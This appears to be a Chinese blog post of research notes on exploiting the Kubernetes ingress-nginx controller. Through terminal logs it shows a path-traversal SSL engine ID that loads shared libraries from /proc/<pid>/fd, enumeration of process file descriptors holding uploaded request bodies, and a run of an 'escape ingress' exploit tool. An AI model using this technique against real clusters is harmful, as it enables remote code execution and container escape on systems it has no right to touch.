nginx ingress安全研究
·
配置加载
通过下列命令
/usr/bin/nginx -c /tmp/nginxconf -t
node1:/tmp# ls -al ../../../../../../proc/35/fd/
total 0
dr-x------ 2 www-data www-data 0 Apr 15 08:56 .
dr-xr-xr-x 9 www-data www-data 0 Apr 15 08:56 ..
lr-x------ 1 www-data www-data 64 Apr 16 01:28 0 -> /dev/null
l-wx------ 1 www-data www-data 64 Apr 16 01:28 1 -> pipe:[4448709]
lrwx------ 1 www-data www-data 64 Apr 15 08:56 10 -> socket:[4447961]
lrwx------ 1 www-data www-data 64 Apr 15 08:56 11 -> socket:[4447962]
lr-x------ 1 www-data www-data 64 Apr 15 08:56 12 -> pipe:[4448912]
l-wx------ 1 www-data www-data 64 Apr 15 08:56 13 -> pipe:[4448912]
lrwx------ 1 www-data www-data 64 Apr 15 08:56 14 -> socket:[4447970]
lrwx------ 1 www-data www-data 64 Apr 15 08:56 16 -> socket:[4447967]
lrwx------ 1 www-data www-data 64 Apr 15 08:56 17 -> anon_inode:[eventpoll]
lrwx------ 1 www-data www-data 64 Apr 15 08:56 18 -> anon_inode:[eventfd]
lrwx------ 1 www-data www-data 64 Apr 15 08:56 19 -> anon_inode:[eventfd]
l-wx------ 1 www-data www-data 64 Apr 16 01:28 2 -> pipe:[4448710]
lrwx------ 1 www-data www-data 64 Apr 15 08:56 4 -> socket:[4447968]
l-wx------ 1 www-data www-data 64 Apr 15 08:56 5 -> pipe:[4448709]
l-wx------ 1 www-data www-data 64 Apr 15 08:56 6 -> pipe:[4448710]
lrwx------ 1 www-data www-data 64 Apr 15 08:56 7 -> socket:[4447958]
lrwx------ 1 www-data www-data 64 Apr 15 08:56 8 -> socket:[4447959]
lrwx------ 1 www-data www-data 64 Apr 15 08:56 9 -> socket:[4447960]
../../../../../../proc/35/fd/2 卡住 pipe类型
ingress-nginx-controller-7f85d549c-s2kr9:/tmp$ /usr/bin/nginx -c /tmp/nginxconf -t
2025/04/16 01:32:22 [emerg] 1244#1244: ENGINE_by_id("../../../../../../proc/35/fd/17") failed (SSL: error:12800067:DSO support routines::could not load the shared library:filename(/usr/lib/engines-3/../../../../../../proc/35/fd/17): Error loading shared library /usr/lib/engines-3/../../../../../../proc/35/fd/17: Permission denied error:12800067:DSO support routines::could not load the shared library error:13000084:engine routines::dso not found error:13000074:engine routines::no such engine:id=../../../../../../proc/35/fd/17)
nginx: [emerg] ENGINE_by_id("../../../../../../proc/35/fd/17") failed (SSL: error:12800067:DSO support routines::could not load the shared library:filename(/usr/lib/engines-3/../../../../../../proc/35/fd/17): Error loading shared library /usr/lib/engines-3/../../../../../../proc/35/fd/17: Permission denied error:12800067:DSO support routines::could not load the shared library error:13000084:engine routines::dso not found error:13000074:engine routines::no such engine:id=../../../../../../proc/35/fd/17)
进程存在，但是socket类型 显示加载失败
ingress-nginx-controller-7f85d549c-s2kr9:/tmp$ /usr/bin/nginx -c /tmp/nginxconf -t
2025/04/16 01:35:38 [emerg] 1249#1249: ENGINE_by_id("../../../../../../proc/35/fd/4") failed (SSL: error:12800067:DSO support routines::could not load the shared library:filename(/usr/lib/engines-3/../../../../../../proc/35/fd/4): Error loading shared library /usr/lib/engines-3/../../../../../../proc/35/fd/4: No such device or address error:12800067:DSO support routines::could not load the shared library error:13000084:engine routines::dso not found error:13000074:engine routines::no such engine:id=../../../../../../proc/35/fd/4)
nginx: [emerg] ENGINE_by_id("../../../../../../proc/35/fd/4") failed (SSL: error:12800067:DSO support routines::could not load the shared library:filename(/usr/lib/engines-3/../../../../../../proc/35/fd/4): Error loading shared library /usr/lib/engines-3/../../../../../../proc/35/fd/4: No such device or address error:12800067:DSO support routines::could not load the shared library error:13000084:engine routines::dso not found error:13000074:engine routines::no such engine:id=../../../../../../proc/35/fd/4)
如果加载不存在的进程显示
2025/04/24 08:16:19 [emerg] 2269#2269: ENGINE_by_id("../../../../../../proc/10000/fd/0") failed (SSL: error:12800067:DSO support routines::could not load the shared library:filename(/usr/lib/engines-3/../../../../../../proc/10000/fd/0): Error loading shared library /usr/lib/engines-3/../../../../../../proc/10000/fd/0: No such file or directory error:12800067:DSO support routines::could not load the shared library error:13000084:engine routines::dso not found error:13000074:engine routines::no such engine:id=../../../../../../proc/10000/fd/0)
nginx: [emerg] ENGINE_by_id("../../../../../../proc/10000/fd/0") failed (SSL: error:12800067:DSO support routines::could not load the shared library:filename(/usr/lib/engines-3/../../../../../../proc/10000/fd/0): Error loading shared library /usr/lib/engines-3/../../../../../../proc/10000/fd/0: No such file or directory error:12800067:DSO support routines::could not load the shared library error:13000084:engine routines::dso not found error:13000074:engine routines::no such engine:id=../../../../../../proc/10000/fd/0)fd也有大于17的..
对于不存在进程和pid的关系
进程和fd的关系
node2:/# ps aux
PID USER TIME COMMAND
1 www-data 0:00 /usr/bin/dumb-init -- /nginx-ingress-controller --publish-service=ingress-nginx/ingress-nginx-controller --election-id=ingress-controlle
7 www-data 0:04 /nginx-ingress-controller --publish-service=ingress-nginx/ingress-nginx-controller --election-id=ingress-controller-leader --controller-
21 www-data 0:00 nginx: master process /usr/bin/nginx -c /etc/nginx/nginx.conf
63 www-data 0:00 nginx: worker process
64 www-data 0:00 nginx: cache manager process
130 www-data 0:00 bash
746 root 0:00 -bash
748 www-data 0:00 nginx: worker process
1323 root 0:00 ps aux
root@detector-5qvmq:/tmp# ./CloudAuditTool escape ingress -m t
INFO[0000] Constructed payload successfully
INFO[0001] Pid Exist! pid: 7, fd: 0
INFO[0001] Pid Exist! pid: 8, fd: 0
INFO[0001] Pid Exist! pid: 9, fd: 0
INFO[0002] Pid Exist! pid: 10, fd: 0
INFO[0002] Pid Exist! pid: 12, fd: 0
INFO[0003] Pid Exist! pid: 16, fd: 0
INFO[0003] Pid Exist! pid: 17, fd: 0
INFO[0003] Pid Exist! pid: 18, fd: 0
INFO[0004] Pid Exist! pid: 21, fd: 0
INFO[0012] Pid Exist! pid: 60, fd: 0
INFO[0012] Pid Exist! pid: 63, fd: 0
INFO[0012] Pid Exist! pid: 64, fd: 0
INFO[0019] Pid Exist! pid: 98, fd: 0
INFO[0019] Pid Exist! pid: 99, fd: 0
ERRO[0020] Exploit run complete, but looks failed! node2:/# ls -al /proc/1/fd
total 0
dr-x------ 2 www-data www-data 0 Apr 24 11:33 .
dr-xr-xr-x 9 www-data www-data 0 Apr 24 11:33 ..
lrwx------ 1 www-data www-data 64 Apr 24 11:33 0 -> /dev/null
l-wx------ 1 www-data www-data 64 Apr 24 11:33 1 -> pipe:[5185370]
l-wx------ 1 www-data www-data 64 Apr 24 11:33 2 -> pipe:[5185371]
node2:/# ls -al /proc/7/fd
total 0
dr-x------ 2 www-data www-data 0 Apr 24 11:33 .
dr-xr-xr-x 9 www-data www-data 0 Apr 24 11:33 ..
lrwx------ 1 www-data www-data 64 Apr 24 11:33 0 -> /dev/null
l-wx------ 1 www-data www-data 64 Apr 24 11:33 1 -> pipe:[5185370]
lr-x------ 1 www-data www-data 64 Apr 24 11:33 10 -> anon_inode:inotify
lrwx------ 1 www-data www-data 64 Apr 24 11:33 11 -> socket:[5185465]
lrwx------ 1 www-data www-data 64 Apr 24 11:33 13 -> socket:[5185456]
lrwx------ 1 www-data www-data 64 Apr 24 11:33 19 -> socket:[5186498]
l-wx------ 1 www-data www-data 64 Apr 24 11:33 2 -> pipe:[5185371]
lrwx------ 1 www-data www-data 64 Apr 24 11:33 3 -> socket:[5185452]
lrwx------ 1 www-data www-data 64 Apr 24 11:33 4 -> anon_inode:[eventpoll]
lr-x------ 1 www-data www-data 64 Apr 24 11:33 5 -> pipe:[5185437]
l-wx------ 1 www-data www-data 64 Apr 24 11:33 6 -> pipe:[5185437]
lrwx------ 1 www-data www-data 64 Apr 24 11:33 7 -> socket:[5186372]
lr-x------ 1 www-data www-data 64 Apr 24 11:33 8 -> anon_inode:inotify
lr-x------ 1 www-data www-data 64 Apr 24 11:33 9 -> anon_inode:inotify
node2:/# ls -al /proc/8/fd
total 0
dr-x------ 2 www-data www-data 0 Apr 24 11:34 .
dr-xr-xr-x 9 www-data www-data 0 Apr 24 11:34 ..
lrwx------ 1 www-data www-data 64 Apr 24 11:34 0 -> /dev/null
l-wx------ 1 www-data www-data 64 Apr 24 11:53 1 -> pipe:[5185370]
lr-x------ 1 www-data www-data 64 Apr 24 11:53 10 -> anon_inode:inotify
lrwx------ 1 www-data www-data 64 Apr 24 11:53 11 -> socket:[5185465]
lrwx------ 1 www-data www-data 64 Apr 24 11:53 13 -> socket:[5185456]
lrwx------ 1 www-data www-data 64 Apr 24 11:53 19 -> socket:[5186498]
l-wx------ 1 www-data www-data 64 Apr 24 11:53 2 -> pipe:[5185371]
lrwx------ 1 www-data www-data 64 Apr 24 11:53 3 -> socket:[5185452]
lrwx------ 1 www-data www-data 64 Apr 24 11:53 4 -> anon_inode:[eventpoll]
lr-x------ 1 www-data www-data 64 Apr 24 11:53 5 -> pipe:[5185437]
l-wx------ 1 www-data www-data 64 Apr 24 11:53 6 -> pipe:[5185437]
lrwx------ 1 www-data www-data 64 Apr 24 11:53 7 -> socket:[5186372]
lr-x------ 1 www-data www-data 64 Apr 24 11:53 8 -> anon_inode:inotify
lr-x------ 1 www-data www-data 64 Apr 24 11:53 9 -> anon_inode:inotify
node2:/# ls -al /proc/64/fd
total 0
dr-x------ 2 www-data www-data 0 Apr 24 11:33 .
dr-xr-xr-x 9 www-data www-data 0 Apr 24 11:33 ..
lr-x------ 1 www-data www-data 64 Apr 24 11:33 0 -> /dev/null
l-wx------ 1 www-data www-data 64 Apr 24 11:33 1 -> pipe:[5185370]
l-wx------ 1 www-data www-data 64 Apr 24 11:33 16 -> pipe:[5185370]
l-wx------ 1 www-data www-data 64 Apr 24 11:33 17 -> pipe:[5185371]
l-wx------ 1 www-data www-data 64 Apr 24 11:33 2 -> pipe:[5185371]
lrwx------ 1 www-data www-data 64 Apr 24 11:33 21 -> socket:[5186801]
lrwx------ 1 www-data www-data 64 Apr 24 11:33 24 -> socket:[5186804]
lrwx------ 1 www-data www-data 64 Apr 24 11:53 3 -> socket:[5204383]
lrwx------ 1 www-data www-data 64 Apr 24 11:33 6 -> anon_inode:[eventpoll]
lrwx------ 1 www-data www-data 64 Apr 24 11:33 7 -> anon_inode:[eventfd]
命中缓存下的情况
node2:/# ls -al /proc/748/fd
total 0
dr-x------ 2 www-data www-data 0 Apr 25 02:57 .
dr-xr-xr-x 9 www-data www-data 0 Apr 24 11:38 ..
lr-x------ 1 www-data www-data 64 Apr 25 02:57 0 -> /dev/null
l-wx------ 1 www-data www-data 64 Apr 25 02:57 1 -> pipe:[5185370]
lrwx------ 1 www-data www-data 64 Apr 25 02:57 10 -> socket:[5186619]
lrwx------ 1 www-data www-data 64 Apr 25 02:57 11 -> anon_inode:[eventfd]
lr-x------ 1 www-data www-data 64 Apr 25 02:57 12 -> pipe:[5204387]
l-wx------ 1 www-data www-data 64 Apr 25 02:57 13 -> pipe:[5204387]
lrwx------ 1 www-data www-data 64 Apr 25 02:57 14 -> /tmp/nginx/client-body/0000000142 (deleted)
lrwx------ 1 www-data www-data 64 Apr 25 03:02 15 -> socket:[5456489]
l-wx------ 1 www-data www-data 64 Apr 25 02:57 16 -> pipe:[5185370]
l-wx------ 1 www-data www-data 64 Apr 25 02:57 17 -> pipe:[5185371]
lrwx------ 1 www-data www-data 64 Apr 25 03:02 18 -> /tmp/nginx/client-body/0000000143 (deleted)
lrwx------ 1 www-data www-data 64 Apr 25 03:02 19 -> socket:[5456493]
l-wx------ 1 www-data www-data 64 Apr 25 02:57 2 -> pipe:[5185371]
lrwx------ 1 www-data www-data 64 Apr 25 03:02 20 -> /tmp/nginx/client-body/0000000147 (deleted)
lrwx------ 1 www-data www-data 64 Apr 25 02:57 21 -> socket:[5186801]
lrwx------ 1 www-data www-data 64 Apr 25 03:02 22 -> socket:[5456506]
lrwx------ 1 www-data www-data 64 Apr 25 02:57 23 -> socket:[5186803]
lrwx------ 1 www-data www-data 64 Apr 25 03:02 24 -> /tmp/nginx/client-body/0000000150 (deleted)
lrwx------ 1 www-data www-data 64 Apr 25 03:02 25 -> socket:[5456508]
lrwx------ 1 www-data www-data 64 Apr 25 03:02 26 -> /tmp/nginx/client-body/0000000151 (deleted)
lrwx------ 1 www-data www-data 64 Apr 25 03:02 27 -> socket:[5456510]
lrwx------ 1 www-data www-data 64 Apr 25 03:02 28 -> /tmp/nginx/client-body/0000000152 (deleted)
lrwx------ 1 www-data www-data 64 Apr 25 03:02 29 -> socket:[5456512]
lrwx------ 1 www-data www-data 64 Apr 25 02:57 3 -> socket:[5457289]
lrwx------ 1 www-data www-data 64 Apr 25 03:02 30 -> /tmp/nginx/client-body/0000000153 (deleted)
lrwx------ 1 www-data www-data 64 Apr 25 03:02 31 -> socket:[5456514]
lrwx------ 1 www-data www-data 64 Apr 25 03:02 32 -> /tmp/nginx/client-body/0000000154 (deleted)
lrwx------ 1 www-data www-data 64 Apr 25 03:02 33 -> socket:[5457301]
lrwx------ 1 www-data www-data 64 Apr 25 03:02 34 -> /tmp/nginx/client-body/0000000155 (deleted)
lrwx------ 1 www-data www-data 64 Apr 25 03:02 35 -> socket:[5456516]
lrwx------ 1 www-data www-data 64 Apr 25 03:02 36 -> /tmp/nginx/client-body/0000000156 (deleted)
lrwx------ 1 www-data www-data 64 Apr 25 03:02 37 -> socket:[5456518]
lrwx------ 1 www-data www-data 64 Apr 25 03:02 38 -> /tmp/nginx/client-body/0000000157 (deleted)
lrwx------ 1 www-data www-data 64 Apr 25 03:02 39 -> socket:[5456541]
lrwx------ 1 www-data www-data 64 Apr 25 02:57 4 -> socket:[5204384]
lrwx------ 1 www-data www-data 64 Apr 25 03:02 40 -> /tmp/nginx/client-body/0000000160 (deleted)
lrwx------ 1 www-data www-data 64 Apr 25 02:57 5 -> anon_inode:[eventpoll]
lrwx------ 1 www-data www-data 64 Apr 25 02:57 6 -> socket:[5186615]
lrwx------ 1 www-data www-data 64 Apr 25 02:57 7 -> socket:[5186616]
lrwx------ 1 www-data www-data 64 Apr 25 02:57 8 -> socket:[5186617]
lrwx------ 1 www-data www-data 64 Apr 25 02:57 9 -> socket:[5186618]
node2:/# ls -al /proc/64/fd
total 0
dr-x------ 2 www-data www-data 0 Apr 24 11:33 .
dr-xr-xr-x 9 www-data www-data 0 Apr 24 11:33 ..
lr-x------ 1 www-data www-data 64 Apr 24 11:33 0 -> /dev/null
l-wx------ 1 www-data www-data 64 Apr 24 11:33 1 -> pipe:[5185370]
l-wx------ 1 www-data www-data 64 Apr 24 11:33 16 -> pipe:[5185370]
l-wx------ 1 www-data www-data 64 Apr 24 11:33 17 -> pipe:[5185371]
l-wx------ 1 www-data www-data 64 Apr 24 11:33 2 -> pipe:[5185371]
lrwx------ 1 www-data www-data 64 Apr 24 11:33 21 -> socket:[5186801]
lrwx------ 1 www-data www-data 64 Apr 24 11:33 24 -> socket:[5186804]
lrwx------ 1 www-data www-data 64 Apr 24 11:53 3 -> socket:[5204383]
lrwx------ 1 www-data www-data 64 Apr 24 11:33 6 -> anon_inode:[eventpoll]
lrwx------ 1 www-data www-data 64 Apr 24 11:33 7 -> anon_inode:[eventfd]
node2:/# ls -al /proc/63/fd
total 0
dr-x------ 2 www-data www-data 0 Apr 24 11:33 .
dr-xr-xr-x 9 www-data www-data 0 Apr 24 11:33 ..
lr-x------ 1 www-data www-data 64 Apr 24 11:33 0 -> /dev/null
l-wx------ 1 www-data www-data 64 Apr 24 11:33 1 -> pipe:[5185370]
lrwx------ 1 www-data www-data 64 Apr 24 11:33 10 -> socket:[5186619]
lrwx------ 1 www-data www-data 64 Apr 25 03:03 11 -> socket:[5457293]
lrwx------ 1 www-data www-data 64 Apr 25 03:03 12 -> /tmp/nginx/client-body/0000000145 (deleted)
lrwx------ 1 www-data www-data 64 Apr 25 03:03 13 -> socket:[5457295]
lrwx------ 1 www-data www-data 64 Apr 25 03:03 14 -> /tmp/nginx/client-body/0000000146 (deleted)
lrwx------ 1 www-data www-data 64 Apr 25 03:03 15 -> socket:[5456502]
l-wx------ 1 www-data www-data 64 Apr 24 11:33 16 -> pipe:[5185370]
l-wx------ 1 www-data www-data 64 Apr 24 11:33 17 -> pipe:[5185371]
lrwx------ 1 www-data www-data 64 Apr 24 11:33 18 -> socket:[5186796]
lrwx------ 1 www-data www-data 64 Apr 24 11:33 19 -> socket:[5186797]
l-wx------ 1 www-data www-data 64 Apr 24 11:33 2 -> pipe:[5185371]
lrwx------ 1 www-data www-data 64 Apr 24 11:33 20 -> socket:[5186798]
lrwx------ 1 www-data www-data 64 Apr 25 03:03 21 -> /tmp/nginx/client-body/0000000148 (deleted)
lrwx------ 1 www-data www-data 64 Apr 24 11:33 22 -> socket:[5186802]
lrwx------ 1 www-data www-data 64 Apr 24 11:33 23 -> anon_inode:[eventpoll]
lrwx------ 1 www-data www-data 64 Apr 24 11:33 24 -> anon_inode:[eventfd]
lrwx------ 1 www-data www-data 64 Apr 25 03:03 25 -> socket:[5456504]
lrwx------ 1 www-data www-data 64 Apr 25 03:03 26 -> /tmp/nginx/client-body/0000000149 (deleted)
lrwx------ 1 www-data www-data 64 Apr 25 03:03 27 -> socket:[5456531]
lrwx------ 1 www-data www-data 64 Apr 25 03:03 28 -> /tmp/nginx/client-body/0000000158 (deleted)
lrwx------ 1 www-data www-data 64 Apr 25 03:03 29 -> socket:[5456539]
lrwx------ 1 www-data www-data 64 Apr 24 11:40 3 -> socket:[5204383]
lrwx------ 1 www-data www-data 64 Apr 25 03:03 30 -> /tmp/nginx/client-body/0000000159 (deleted)
lrwx------ 1 www-data www-data 64 Apr 25 03:03 31 -> socket:[5456543]
lrwx------ 1 www-data www-data 64 Apr 25 03:03 32 -> /tmp/nginx/client-body/0000000161 (deleted)
lrwx------ 1 www-data www-data 64 Apr 24 11:33 4 -> socket:[5456491]
lrwx------ 1 www-data www-data 64 Apr 24 11:33 5 -> socket:[5186803]
lr-x------ 1 www-data www-data 64 Apr 24 11:33 6 -> pipe:[5186811]
l-wx------ 1 www-data www-data 64 Apr 24 11:33 7 -> pipe:[5186811]
lrwx------ 1 www-data www-data 64 Apr 24 11:33 8 -> /tmp/nginx/client-body/0000000144 (deleted)
lrwx------ 1 www-data www-data 64 Apr 24 11:33 9 -> socket:[5186618]
汇聚全球AI编程工具，助力开发者即刻编程。
更多推荐
0
0- 0
已为社区贡献2条内容
所有评论(0)